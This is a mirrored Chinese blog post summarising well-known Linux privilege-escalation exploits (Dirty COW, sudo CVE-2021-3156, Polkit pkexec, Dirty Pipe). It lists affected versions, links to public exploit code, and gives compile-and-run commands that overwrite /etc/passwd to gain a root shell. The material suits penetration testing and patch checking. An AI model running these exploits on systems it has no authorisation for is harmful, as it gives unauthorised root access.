![](/style/images/good.png)
![](/style/images/bad.png)
linux 提权归纳 | Dar1in9's Blog
source link: https://dar1in9s.github.io/2022/03/10/%E6%B8%97%E9%80%8F/linux%20cve%E6%8F%90%E6%9D%83/#Dirty-Pipe%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E-CVE-2022-0847
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
这里归纳一些linux高可用/著名的提权方法
一些提权工具
提权检测:https://github.com/carlospolop/PEASS-ng
linux内核提权漏洞合集(只更新到2018年了):https://github.com/SecWiki/linux-kernel-exploits
脏牛提权(CVE-2016-5195)
利用条件:Linux Kernel 2.6.22 < 3.9
exp:https://github.com/FireFart/dirtycow
# 编译exp
gcc -pthread dirty.c -o dirty -lcrypt
# 备份/etc/passwd
cp /etc/passwd /etc/passwd.bak
# 执行exp,再/etc/passwd中添加一个账户,使其有root权限
./dirty password
# 操作完了之后记得还原passwd文件
sudo 提权漏洞(CVE-2021-3156)
影响版本:
- Sudo 1.8.2 - 1.8.31p2
- Sudo 1.9.0 - 1.9.5p1
快速判断漏洞:
以非 root 用户登录系统,并使用命令 sudoedit -s /
- 如果响应一个以
sudoedit:
开头的报错,那么表明存在漏洞。 - 如果响应一个以
usage:
开头的报错,那么表明补丁已经生效。
使用:直接make编译,执行即可
Polkit Pkexec本地提权(CVE-2021-4034)
不受影响版本:
CentOS:polkit-0.115及之后
Ubuntu:policykit-1- 0.105及之后
exp:https://github.com/berdav/CVE-2021-4034
利用:直接make
编译,之后运行即可
Dirty Pipe提权漏洞(CVE-2022-0847)
受影响版本
- 5.8 <= Linux kernel < 5.16.11
- 5.8 <= Linux kernel < 5.15.25
- 5.8 <= Linux kernel < 5.10.102
exp:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
# 编译exp
gcc exploit.c -o exploit
# 使用运行,会修改/etc/passwd文件,将root密码设置为 aaron,然后获得一个root权限的shell
./exploit
# 运行完了记得恢复/etc/passwd文件
mv /tmp/passwd /etc/passwd
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK